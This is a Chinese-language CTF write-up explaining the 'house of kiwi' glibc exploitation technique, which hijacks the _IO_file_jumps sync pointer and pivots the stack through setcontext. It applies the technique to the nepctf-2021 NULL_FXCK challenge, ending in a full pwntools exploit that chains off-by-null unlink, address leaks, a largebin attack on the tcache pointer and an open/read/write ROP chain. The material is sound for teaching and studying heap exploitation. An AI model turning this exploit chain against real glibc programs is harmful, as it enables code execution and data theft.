house of kiwi
前言：house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流，最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。
我们看看触发的源码
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
extern const char *__progname;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
#endif可以看见__malloc_assert调用了__fxprintf和fflush，而这个函数调用后会调用_IO_file_jumps中的sync指针。
这个指针在_IO_file_jumps偏移为0x60的位置，那么将这个指针进行劫持，就能达到我们想要的目的，如果题目禁用了execve的话，可以考虑通过setcontext来实现栈迁移
我们看一下这个这个函数
text:0000000000053030 ; __unwind {
.text:0000000000053030 endbr64
.text:0000000000053034 push rdi
.text:0000000000053035 lea rsi, [rdi+128h] ; nset
.text:000000000005303C xor edx, edx ; oset
.text:000000000005303E mov edi, 2 ; how
.text:0000000000053043 mov r10d, 8 ; sigsetsize
.text:0000000000053049 mov eax, 0Eh
.text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000053050 pop rdx
.text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057 jnb loc_5317F
.text:000000000005305D mov rcx, [rdx+0E0h]
.text:0000000000053064 fldenv byte ptr [rcx]
.text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D mov rsp, [rdx+0A0h] //这里将rdx+0xa0的值赋值给了rsp，也就是我们控制了rdx就控制了rsp
.text:0000000000053074 mov rbx, [rdx+80h]
.text:000000000005307B mov rbp, [rdx+78h]
.text:000000000005307F mov r12, [rdx+48h]
.text:0000000000053083 mov r13, [rdx+50h]
.text:0000000000053087 mov r14, [rdx+58h]
.text:000000000005308B mov r15, [rdx+60h]
.text:000000000005308F test dword ptr fs:48h, 2
.text:000000000005309B jz loc_53156
.text:00000000000530A1 mov rsi, [rdx+3A8h]
.text:00000000000530A8 mov rdi, rsi
.text:00000000000530AB mov rcx, [rdx+3B0h]
.text:00000000000530B2 cmp rcx, fs:78h
.text:00000000000530BB jz short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD mov rax, [rsi-8]
.text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5 cmp rax, rsi
.text:00000000000530C8 jz short loc_530D0
.text:00000000000530CA sub rsi, 8
.text:00000000000530CE jmp short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j
.text:00000000000530D0 mov rax, 1
.text:00000000000530D7 incsspq rax
.text:00000000000530DC rstorssp qword ptr [rsi-8]
.text:00000000000530E1 saveprevssp
.text:00000000000530E5 mov rax, [rdx+3B0h]
.text:00000000000530EC mov fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5 rdsspq rcx
.text:00000000000530FA sub rcx, rdi
.text:00000000000530FD jz short loc_5311C
.text:00000000000530FF neg rcx
.text:0000000000053102 shr rcx, 3
.text:0000000000053106 mov esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j
.text:000000000005310B cmp rcx, rsi
.text:000000000005310E cmovb rsi, rcx
.text:0000000000053112 incsspq rsi
.text:0000000000053117 sub rcx, rsi
.text:000000000005311A ja short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j
.text:000000000005311C mov rsi, [rdx+70h]
.text:0000000000053120 mov rdi, [rdx+68h]
.text:0000000000053124 mov rcx, [rdx+98h]
.text:000000000005312B mov r8, [rdx+28h]
.text:000000000005312F mov r9, [rdx+30h]
.text:0000000000053133 mov r10, [rdx+0A8h]
.text:000000000005313A mov rdx, [rdx+88h]
.text:0000000000053141 rdsspq rax
.text:0000000000053146 cmp r10, [rax]
.text:0000000000053149 mov eax, 0
.text:000000000005314E jnz short loc_53153
.text:0000000000053150 push r10
.text:0000000000053152 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j
.text:0000000000053153 jmp r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j
.text:0000000000053156 mov rcx, [rdx+0A8h] //也可以控制到rcx
.text:000000000005315D push rcx //控制到rip
.text:000000000005315E mov rsi, [rdx+70h]
.text:0000000000053162 mov rdi, [rdx+68h]
.text:0000000000053166 mov rcx, [rdx+98h]
.text:000000000005316D mov r8, [rdx+28h]
.text:0000000000053171 mov r9, [rdx+30h]
.text:0000000000053175 mov rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C xor eax, eax
.text:000000000005317E retn也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移，那么就要搞清楚，调用这个指针的时候，rdx是什么,那么就需要调试一下
调用了fflush
这里sync指针已经被我修改变成了setcontext+61的地址
而此时的rdx是 IO_helper_jumps的地址
那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流
小结：想要达到house_of_kiwi需要至少两次任意地址改，修改sync指针，以及IO_helper_jumps +0xa0和0xa8的位置，然后就可以劫持到程序流了，对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配，进而达到目的。
相比较其他的house_of系列kiwi要求的条件也比较苛刻，但是它的利用手法并不难，在能满足这个条件的情况下，这种手法还是非常不错的。
例题：nepctf-2021 NULL_FXCK
题目链接：题目
提取码：k5h6
ida逆向分析
add函数规定了申请chunk有大小的限制，最小0x100，最大0x2000
edit函数存在off_by_null漏洞，但是只能使用一次
show函数存在截断
free函数没有UAF漏洞
分析：只有一个off_by_null漏洞，只能使用一次，那么可以通过unlink实现堆块重叠，达到泄露地址的目的，但是本题libc是2.32的libc，还是存在_malloc_hook这些钩子，但是这些被ban掉了，而且开了沙箱保护，我们只能orw读取flag，那么就可以从上面house_of_kiwi下手。首先要做的是unlink，但是这样就需要伪造fd指针和bk指针，以前我们一般是将fd和bk指针指向自身来绕过unlink检查，但是现在我们不能泄露地址，也就是要在无法泄露地址的情况下完成unlink
那么我们可以申请6个堆块，free 0，3，5堆块，那么堆块3的fd和bk就已经确定了，此时想要达到堆块重叠，可以把chunk3的size改大（改到top_chunk这样下次在top_chunk申请堆块时候，free时候，会向上合并），怎么来呢，free掉chunk2，然后chunk2和chunk3会合并，然后申请堆块修改chunk3的size，那么此时，链表就被破坏了
free 0，3，5
chunk2和chunk3合并
chunk3size被修改，同时它的fd和bk指针已经设置好了
此时，剩下两个chunk加入到了largebin中，我们申请出来，但是怎么修改它们的fd和bk指针呢
注意看刚刚chunk3和chunk2合并之后剩下的chunk（称为left_chunk），它的地址只有最低位和chunk3不一样，而且chunk3的地址末位是0，这个是一开始布局的时候这样布置的，因为add有截断，我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子，最后通过add截断修改掉fd或者bk指针
这里以chunk0为例子，注意他的fd是chunk3+0x20的位置，那么如果截断一下就是chunk3了
同理chunk5也是一样，那么完成这个再伪造一下prev_size即可完成unlink，即可申请堆块达到堆块重叠，泄露地址，但是存在00截断，还需要加入到largebin中泄露libc地址以及heap地址
那么现在泄露地址的问题解决了，还需要实现任意地址写，那么这里涉及一个知识，我们知道管理tcachebin链表是一个结构体在heap起始处
其实这个在tls里面有一个指针指向它只是被映射成了这个地址，我们可以找一下
那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写，接下来就是house_of_kiwi，实现栈迁移，提前把orw链子写入到chunk里面
EXP：
from gt import *
con("amd64")
libc = ELF("./libc-2.32.so")
io = process("./NULL_FXCK")
def add(size,msg='\x00'):
io.sendlineafter(">> ",'1')
io.sendlineafter("(: Size: ",str(size))
io.sendafter("(: Content: ",msg)
def edit(index,msg):
io.sendlineafter(">> ",'2')
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",msg)
def free(index):
io.sendlineafter(">> ",'3')
io.sendlineafter("Index: ",str(index))
def show(index):
io.sendlineafter(">> ",'4')
io.sendlineafter("Index: ",str(index))
add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6
free(0)
free(3)
free(5)
gdb.attach(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#gdb.attach(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3 yuanxian chunk0
add(0x428) #5 yuanxian chunk5
free(3)
free(2)
#gdb.attach(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#gdb.attach(io)
add(0x418)
add(0x208) # fangzhi top_chunk
free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)
show(5)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#gdb.attach(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext = libc_base + libc.sym["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret;
payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload)
free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = orw.ljust(0x100,b'a')
orw += b'flag\x00\x00\x00\x00'
add(0x440,orw) #0
add(0x418) #11
add(0x208) #12
free(5) #unlink big chunk
free(4) # large_bin attack chunk
# chunk5 ----> largebin
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20)
add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack
add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload)
fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache += p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
gdb.attach(io)
add(0x1000)
#gdb.attach(io)
io.interactive()最后效果
